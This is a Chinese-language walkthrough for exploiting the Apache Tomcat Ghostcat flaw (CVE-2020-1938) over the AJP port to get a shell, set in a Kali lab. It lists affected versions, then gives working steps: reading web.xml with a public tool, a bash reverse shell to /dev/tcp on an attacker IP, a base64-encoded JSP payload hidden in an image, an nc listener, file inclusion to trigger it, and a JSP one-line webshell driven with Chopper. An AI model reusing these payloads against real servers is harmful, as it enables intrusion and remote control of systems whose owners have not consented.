一、影響范圍(有一些不在影響的范圍的版本也會存在)
受影響版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
不受影響版本
- Apache Tomcat = 7.0.100
- Apache Tomcat = 8.5.51
- Apache Tomcat = 9.0.31
二、漏洞利用
靶機:kali2020 tomcat 8.5.32
攻擊機:kali2020
1、
假設在靶機上,tomcat搭建的網站存在文件上傳,但是只可以上傳圖片的情況下。如何利用此漏洞getshell

2、探測端口存在8009,或者有一些網站會更改AJP的端口如(8099 8001 8011)反正都試一下吧,本人就遇到過改為8099和8001的
(說個題外話:有一些網站可能會存在兩個tomcat的版本,所以ajp也會兩個端口,在驗證漏洞的時候找好AJP對應的網站。)
3、使用大佬寫的工具進行文件讀取和文件包含(工具文件讀取和包含都存在)
工具地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
驗證漏洞存在先進行文件讀取(讀取不到web.xml的情況下可以嘗試讀取一些已知的文件,可能會沒有web.xml
執行語句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目標Ip

4、上傳帶有反彈shell語句的圖片馬
反彈shell語句:
bash -i >& /dev/tcp/192.168.25.1/63000 0>&1
在http://www.jackson-t.ca/runtime-exec-payloads.html網站進行一下轉換
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
下載一個圖片,使用copy合成圖片馬
copy 1.jpg/b + 2.jsp/a 3.jpg
上傳3.jpg
5、包含3.jpg,並成功反彈shell(必須要已知路徑,當前路徑即可,所包含的文件必須在ROOT目錄下)
記得要nc監聽反彈的端口哦 nc -lvvp 63000
python Tomcat_file_includ.py -p 8009 -f upload/3.jpg 192.168.25.134

5、寫入一句話木馬
echo 'jsp一句話' > a.jsp //在a.txt這個文件中輸入i love u,如果沒有這個文件則創建。如果有這個文件,那么新內容代替原來的內容。
6、菜刀連接即可。
